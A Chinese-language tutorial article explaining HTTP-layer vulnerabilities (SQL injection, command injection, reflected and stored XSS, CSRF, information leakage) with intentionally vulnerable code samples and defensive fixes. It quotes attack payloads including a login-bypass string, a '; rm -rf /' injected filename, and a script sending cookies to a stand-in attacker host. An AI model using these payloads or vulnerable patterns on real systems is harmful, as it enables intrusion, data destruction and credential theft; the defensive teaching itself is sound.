MK
摩柯社区 - 一个极简的技术知识社区
AI 面试

HTTP协议的安全漏洞与防护措施

2021-11-232.9k 阅读

HTTP协议基础概述

HTTP(Hyper - Text Transfer Protocol)是一种用于分布式、协作式和超媒体信息系统的应用层协议,它是万维网数据通信的基础。HTTP 协议采用客户端 - 服务器模式,客户端发起请求,服务器响应请求。例如,当用户在浏览器中输入一个网址并回车,浏览器作为客户端就会向对应的服务器发送HTTP请求,服务器处理请求后返回响应数据,这些数据可能是网页的HTML代码、图片、脚本等。

HTTP请求由请求行、请求头、空行和请求体组成。请求行包含请求方法(如GET、POST、PUT、DELETE等)、请求URL和HTTP协议版本。请求头包含了关于客户端环境、请求内容等相关信息,比如User - Agent头表明客户端的类型和版本,Content - Type头指定请求体的数据类型。空行用于分隔请求头和请求体,请求体则存放具体要发送的数据,不过GET请求通常没有请求体,因为数据是附加在URL后的查询字符串中。

HTTP响应由状态行、响应头、空行和响应体组成。状态行包含HTTP协议版本、状态码和状态描述,常见的状态码如200表示成功,404表示未找到资源,500表示服务器内部错误。响应头提供了关于响应的额外信息,如Content - Length指定响应体的长度,Set - Cookie用于设置客户端的Cookie。响应体就是服务器返回给客户端的实际数据,如网页内容、JSON数据等。

HTTP协议的安全漏洞

注入攻击

  1. SQL注入
    • 原理:当应用程序使用用户输入来构造SQL语句时,如果没有对输入进行适当的验证和转义,攻击者就可以通过在输入中插入恶意的SQL语句片段,从而改变SQL语句的原有逻辑,达到获取数据库敏感信息、修改数据甚至控制数据库服务器的目的。例如,在一个登录表单中,用户名输入框通常用于接收用户输入的用户名,密码输入框用于接收用户输入的密码。假设后端使用如下的SQL查询语句来验证用户登录:SELECT * FROM users WHERE username = '$username' AND password = '$password',如果攻击者在用户名输入框中输入admin' OR '1'='1,那么构造后的SQL语句就变为SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '$password',由于1 = 1恒成立,这条SQL语句将返回所有用户的记录,攻击者无需知道正确密码即可登录系统。
    • 代码示例(PHP)
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$conn = mysqli_connect("localhost", "root", "", "test");
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
    echo "登录成功";
} else {
    echo "登录失败";
}
mysqli_close($conn);
?>
  • 此代码存在SQL注入风险:因为直接将用户输入嵌入SQL语句,未进行任何安全处理。
  1. 命令注入
    • 原理:当应用程序调用外部系统命令,并使用用户输入来构造命令时,如果没有对输入进行严格的过滤和验证,攻击者就可以注入恶意的命令片段,从而在服务器上执行任意系统命令。例如,在一个简单的文件上传系统中,可能会有一个功能用于获取上传文件的大小,假设使用ls -l命令结合用户输入的文件名来获取文件大小,如ls -l $filename。如果攻击者将filename参数设置为; rm -rf /,那么实际执行的命令就变为ls -l ; rm -rf /,这将导致服务器上的所有文件被删除,因为;用于分隔多个命令,rm -rf /是一个极其危险的删除所有文件的命令。
    • 代码示例(Python)
import os
filename = input("请输入文件名:")
command = "ls -l " + filename
os.system(command)
  • 此代码存在命令注入风险:直接将用户输入拼接到系统命令中,没有对输入进行安全检查。

跨站脚本攻击(XSS)

  1. 反射型XSS
    • 原理:攻击者通过诱使用户点击一个包含恶意脚本的链接,当用户点击链接后,服务器将恶意脚本作为响应的一部分返回给用户浏览器,用户浏览器执行该脚本,从而达到窃取用户Cookie、会话令牌等敏感信息或者进行其他恶意操作的目的。例如,一个搜索功能的页面,其URL可能是http://example.com/search?q=keyword,如果服务器端没有对q参数进行正确的过滤,攻击者可以构造一个链接http://example.com/search?q=<script>alert('XSS')</script>,当用户点击这个链接时,浏览器会弹出一个提示框,表明攻击成功。在实际攻击中,攻击者可能会将恶意脚本用于窃取用户登录的Cookie信息并发送到攻击者的服务器。
    • 代码示例(Java Web应用,简化示例)
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class SearchServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String query = request.getParameter("q");
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>搜索结果:" + query + "</h1>");
        out.println("</body></html>");
    }
}
  • 此代码存在反射型XSS风险:直接将用户输入的q参数输出到页面,未进行任何转义处理。
  1. 存储型XSS
    • 原理:攻击者将恶意脚本提交到服务器并存储在数据库等持久化存储中,当其他用户访问包含该恶意脚本的页面时,恶意脚本会自动执行。常见于留言板、评论系统等。例如,在一个博客的评论功能中,攻击者在评论内容中插入恶意脚本<script>document.location='http://attacker - server.com/cookie.php?cookie=' + document.cookie</script>,管理员审核通过该评论后,其他用户访问该博客文章时,脚本会自动执行,将用户的Cookie信息发送到攻击者的服务器。
    • 代码示例(Node.js + MongoDB,简化示例)
const express = require('express');
const mongoose = require('mongoose');
const Comment = require('./models/comment');

const app = express();
app.use(express.json());

app.post('/comments', async (req, res) => {
    const newComment = new Comment({
        content: req.body.content
    });
    try {
        await newComment.save();
        res.status(201).send('评论成功');
    } catch (error) {
        res.status(400).send(error.message);
    }
});

app.get('/comments', async (req, res) => {
    try {
        const comments = await Comment.find();
        res.send(comments.map(comment => comment.content));
    } catch (error) {
        res.status(500).send(error.message);
    }
});

mongoose.connect('mongodb://localhost:27017/blog', { useNewUrlParser: true, useUnifiedTopology: true });
app.listen(3000, () => {
    console.log('服务器运行在3000端口');
});
  • 此代码存在存储型XSS风险:直接将用户输入的评论内容保存并返回,未对其中的恶意脚本进行过滤。

跨站请求伪造(CSRF)

  1. 原理:攻击者诱导用户访问一个包含恶意请求的页面,当用户在已登录目标网站且会话未过期的情况下,浏览器会自动携带用户在目标网站的Cookie等认证信息发送该恶意请求,目标网站服务器会误认为该请求是用户合法发起的,从而执行恶意操作。例如,用户在银行网站登录后,未退出账户,此时访问了一个恶意网站,恶意网站中包含一个隐藏的表单<form action="https://bank.com/transfer" method="post"><input type="hidden" name="amount" value="1000"><input type="hidden" name="to" value="attacker - account"></form><script>document.forms[0].submit();</script>,当用户访问该恶意页面时,表单会自动提交,将用户账户中的1000元转账到攻击者账户,而银行服务器会因为用户的Cookie信息而认为这是用户的合法操作。
  2. 代码示例(Django,简化示例)
from django.http import HttpResponse
from django.views.decorators.csrf import csrf_exempt

@csrf_exempt
def transfer_money(request):
    if request.method == 'POST':
        amount = request.POST.get('amount')
        to_account = request.POST.get('to')
        # 这里执行转账逻辑,假设已通过认证
        return HttpResponse('转账成功')
    return HttpResponse('请通过POST方式提交请求')
  • 此代码存在CSRF风险:使用csrf_exempt装饰器禁用了Django的CSRF防护机制,如果该视图用于处理敏感操作,容易受到CSRF攻击。

信息泄露漏洞

  1. 敏感信息暴露在URL中
    • 原理:当应用程序在URL中传递敏感信息,如用户密码、信用卡号等,这些信息可能会被记录在服务器日志、浏览器历史记录中,从而导致信息泄露。例如,一个密码重置功能,其URL设计为http://example.com/reset - password?password=newpassword123,如果服务器日志记录了完整的URL,或者用户在公共计算机上使用浏览器,其他人就可能获取到这个新密码。
  2. 错误信息泄露
    • 原理:当应用程序出现错误时,如果将详细的错误信息直接返回给客户端,可能会泄露服务器的内部信息,如数据库类型、服务器路径、代码结构等,这些信息有助于攻击者进一步进行攻击。例如,在一个Java Web应用中,如果数据库连接出现问题,返回的错误信息可能包含数据库驱动名称、数据库服务器地址等,如org.postgresql.util.PSQLException: Connection refused. Check that the hostname and port are correct and that the postmaster is accepting TCP/IP connections.,攻击者可以根据这些信息了解到目标服务器使用的是PostgreSQL数据库,并尝试针对PostgreSQL的攻击方法。

HTTP协议安全漏洞的防护措施

针对注入攻击的防护

  1. SQL注入防护
    • 使用参数化查询:在大多数数据库操作框架中,都支持参数化查询。以Java的JDBC为例,代码如下:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

public class UserLogin {
    public static void main(String[] args) {
        String username = "admin";
        String password = "password123";
        try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root");
             PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE username =? AND password =?")) {
            pstmt.setString(1, username);
            pstmt.setString(2, password);
            ResultSet rs = pstmt.executeQuery();
            if (rs.next()) {
                System.out.println("登录成功");
            } else {
                System.out.println("登录失败");
            }
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}
  • 在这个代码中PreparedStatement使用占位符?,数据库驱动会自动对参数进行转义,防止SQL注入。
  • 输入验证:对用户输入进行严格的格式验证,只允许符合预期格式的数据进入数据库查询。例如,对于用户名输入,只允许字母和数字,使用正则表达式进行验证,在Python中可以这样实现:
import re

username = input("请输入用户名:")
if not re.fullmatch('[a-zA - Z0 - 9]+', username):
    print("用户名只能包含字母和数字")
else:
    # 进行后续操作
    pass
  1. 命令注入防护
    • 使用安全的函数:在不同编程语言中,尽量使用安全的函数来执行系统命令。例如,在Python中,subprocess模块提供了更安全的方式来执行外部命令。以下是一个示例:
import subprocess

filename = input("请输入文件名:")
try:
    result = subprocess.run(['ls', '-l', filename], capture_output = True, text = True)
    print(result.stdout)
except FileNotFoundError:
    print("文件或命令未找到")
  • 输入过滤:对用户输入进行严格过滤,去除任何可能用于注入命令的特殊字符,如;|&等。例如,在Java中可以这样实现:
import java.util.Scanner;

public class CommandInjectionProtection {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);
        System.out.println("请输入文件名:");
        String filename = scanner.nextLine();
        filename = filename.replaceAll("[;|&]", "");
        // 执行命令操作
    }
}

针对XSS攻击的防护

  1. 输入输出转义
    • 反射型XSS防护:在输出到页面之前,对用户输入进行转义。在Java Web应用中,使用StringEscapeUtils类(来自Apache Commons Text库)可以对HTML特殊字符进行转义,示例代码如下:
import org.apache.commons.text.StringEscapeUtils;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class SearchServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String query = request.getParameter("q");
        String escapedQuery = StringEscapeUtils.escapeHtml4(query);
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>搜索结果:" + escapedQuery + "</h1>");
        out.println("</body></html>");
    }
}
  • 存储型XSS防护:同样在存储和输出时进行转义。在Node.js中,可以使用DOMPurify库来清理用户输入中的恶意脚本。示例代码如下:
const express = require('express');
const mongoose = require('mongoose');
const Comment = require('./models/comment');
const DOMPurify = require('dompurify');

const app = express();
app.use(express.json());

app.post('/comments', async (req, res) => {
    const purifiedContent = DOMPurify.sanitize(req.body.content);
    const newComment = new Comment({
        content: purifiedContent
    });
    try {
        await newComment.save();
        res.status(201).send('评论成功');
    } catch (error) {
        res.status(400).send(error.message);
    }
});

app.get('/comments', async (req, res) => {
    try {
        const comments = await Comment.find();
        res.send(comments.map(comment => comment.content));
    } catch (error) {
        res.status(500).send(error.message);
    }
});

mongoose.connect('mongodb://localhost:27017/blog', { useNewUrlParser: true, useUnifiedTopology: true });
app.listen(3000, () => {
    console.log('服务器运行在3000端口');
});
  1. 设置HTTP头
    • Content - Security - Policy(CSP):通过设置CSP头,可以限制页面加载资源的来源,防止恶意脚本的执行。在Java Web应用中,可以在web.xml中配置过滤器来设置CSP头,示例如下:
<filter>
    <filter - name>CSPFilter</filter - name>
    <filter - class>com.example.CSPFilter</filter - class>
</filter>
<filter - mapping>
    <filter - name>CSPFilter</filter - name>
    <url - pattern>/*</url - pattern>
</filter - mapping>
  • CSPFilter类的实现
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class CSPFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletResponse.setHeader("Content - Security - Policy", "default - src'self'");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}
  • 在这个示例中default - src'self'表示只允许从当前源加载资源,有效防止了外部恶意脚本的加载。

针对CSRF攻击的防护

  1. 使用CSRF令牌
    • 生成和验证令牌:在服务器端生成一个随机的CSRF令牌,并将其存储在用户会话中。同时,将令牌发送到客户端,客户端在每次提交表单时将令牌包含在请求中。服务器端验证请求中的令牌与会话中的令牌是否一致。以Django为例,默认开启CSRF防护机制,在模板中可以这样使用CSRF令牌:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF - 8">
    <title>转账</title>
</head>
<body>
    <form action="{% url 'transfer' %}" method="post">
        {% csrf_token %}
        <label for="amount">金额:</label><input type="number" id="amount" name="amount"><br>
        <label for="to">转账到:</label><input type="text" id="to" name="to"><br>
        <input type="submit" value="转账">
    </form>
</body>
</html>
  • 在视图函数中:Django会自动验证CSRF令牌,如果令牌验证失败,会返回403 Forbidden错误。
  1. 检查Referer头
    • 原理:正常情况下,浏览器发送的请求中的Referer头会指向当前网站的页面。可以在服务器端检查Referer头是否来自合法的源。在Python的Flask框架中,可以这样实现简单的Referer头检查:
from flask import Flask, request, abort

app = Flask(__name__)

@app.route('/transfer', methods=['POST'])
def transfer():
    referer = request.headers.get('Referer')
    if not referer or not referer.startswith('http://example.com'):
        abort(403)
    # 执行转账逻辑
    return '转账成功'
  • 这种方法有一定局限性:因为用户可以通过某些手段修改Referer头,而且在一些情况下,如HTTPS到HTTP的跳转,Referer头可能会被浏览器清空,但它可以作为一种辅助的防护手段。

针对信息泄露漏洞的防护

  1. 避免敏感信息暴露在URL中
    • 改进设计:在设计应用程序功能时,避免在URL中传递敏感信息。例如,对于密码重置功能,可以使用一个唯一的令牌,并将其存储在数据库中,通过POST请求将新密码和令牌一起提交到服务器,而不是将新密码放在URL中。在Java Web应用中,可以这样实现:
    • 生成令牌并存储
import java.security.SecureRandom;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.util.Base64;

public class PasswordReset {
    public static String generateToken() {
        SecureRandom random = new SecureRandom();
        byte[] bytes = new byte[32];
        random.nextBytes(bytes);
        return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
    }

    public static void storeToken(String token, String username) {
        try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root");
             PreparedStatement pstmt = conn.prepareStatement("UPDATE users SET reset_token =? WHERE username =?")) {
            pstmt.setString(1, token);
            pstmt.setString(2, username);
            pstmt.executeUpdate();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}
  • 重置密码的Servlet
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

public class ResetPasswordServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String token = request.getParameter("token");
        String newPassword = request.getParameter("newPassword");
        try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root");
             PreparedStatement pstmt = conn.prepareStatement("SELECT username FROM users WHERE reset_token =?")) {
            pstmt.setString(1, token);
            ResultSet rs = pstmt.executeQuery();
            if (rs.next()) {
                String username = rs.getString("username");
                try (PreparedStatement updateStmt = conn.prepareStatement("UPDATE users SET password =? WHERE username =?")) {
                    updateStmt.setString(1, newPassword);
                    updateStmt.setString(2, username);
                    updateStmt.executeUpdate();
                    response.sendRedirect("reset - success.html");
                }
            } else {
                response.sendRedirect("reset - fail.html");
            }
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}
  1. 错误信息处理
    • 日志记录与简洁响应:在应用程序出现错误时,将详细的错误信息记录到日志文件中,而向客户端返回简洁、通用的错误信息,不暴露服务器内部信息。在Python的Flask应用中,可以这样实现:
import logging
from flask import Flask, jsonify

app = Flask(__name__)
logging.basicConfig(filename='app.log', level = logging.ERROR)

@app.route('/')
def index():
    try:
        # 模拟可能出现错误的代码
        result = 1 / 0
        return jsonify({'message': '成功'})
    except ZeroDivisionError as e:
        logging.error(f'出现错误:{str(e)}', exc_info = True)
        return jsonify({'message': '发生错误,请稍后重试'}), 500
  • 在这个示例中:详细的错误信息(如ZeroDivisionError的具体情况)被记录到app.log日志文件中,而客户端只收到一个通用的错误消息。